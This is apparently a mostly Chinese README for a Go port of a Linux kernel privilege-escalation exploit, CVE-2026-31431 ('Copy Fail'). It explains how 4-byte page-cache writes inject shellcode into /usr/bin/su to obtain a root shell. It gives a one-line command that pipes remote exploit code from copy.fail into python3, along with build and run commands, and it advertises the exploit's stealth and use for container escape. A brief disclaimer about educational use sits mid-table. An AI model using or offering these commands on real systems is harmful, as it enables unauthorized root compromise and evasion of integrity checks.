
Golang rewrite of the Copy Fail (CVE-2026-31431) local privilege escalation exploit, corrupting page cache to gain root on Linux systems.
732 字节,通杀主流 Linux 发行版,直达 root
CVE-2026-31431(Copy Fail)是 Linux 内核 authencesn 加密模板中的一个逻辑漏洞。它允许非特权本地用户对系统上任意可读文件的页缓存(page cache)进行确定性的、可控的 4 字节写入。
CONFIG_CRYPTO_AUTHENC 的 Linux 内核(2017 年以来几乎所有主流发行版)漏洞由两个行为链式触发:
AF_ALG + splice: splice() 以引用方式将页缓存页面传递到 AF_ALG 套接字的 scatterlist 中。在 AEAD 解密原地模式下,tag 页面(来自目标文件的页缓存)通过 sg_chain() 仍然链在输出 scatterlist 上。
authencesn 的越界写入: crypto_authenc_esn_decrypt() 将 dst[assoclen + cryptlen](tag 之后、属于页缓存的区域)用作 ESN 序列号重排的暂存区,写入 4 字节攻击者可控数据且不恢复。
被破坏的页面永远不会被标记为脏页,因此磁盘上的文件保持不变。但实际读取的是内存中的页缓存——使得修改在整个系统中立即可见。
利用程序每次 4 字节,将小型 shellcode 逐块写入 /usr/bin/su(或任意 setuid 二进制文件)的页缓存中。所有写入完成后,运行 su 即执行 payload 并获取 root shell。
原始 Python PoC 来自 https://copy.fail/。需要 Python 3.10+(因为用了 os.splice)。仅使用标准库模块。
# 官方一行命令:
curl https://copy.fail/exp | python3 && su
# 或本地运行:
python3 exp.py
无需 Python 环境。编译运行:
go run exp.go
go build -ldflags "-w -s" -trimpath -o exp exp.go
tinygo build -o exp exp.go
| 特性 | 说明 |
|---|---|
| 通用性 | 同一脚本通杀 Ubuntu、Amazon Linux、RHEL、SUSE 等,无需按发行版调整偏移 |
| 极简 | Python 利用仅约 732 字节 |
| 隐蔽性 |
本仓库仅供教育和防御性研究使用。请勿在未拥有或未获得明确测试授权的系统上使用此代码。
| 绕过 VFS 写路径;页缓存永不标记脏页;磁盘校验和不改变 |
| 跨容器 | 页缓存在容器间共享——可作为容器逃逸原语(详见第二部分) |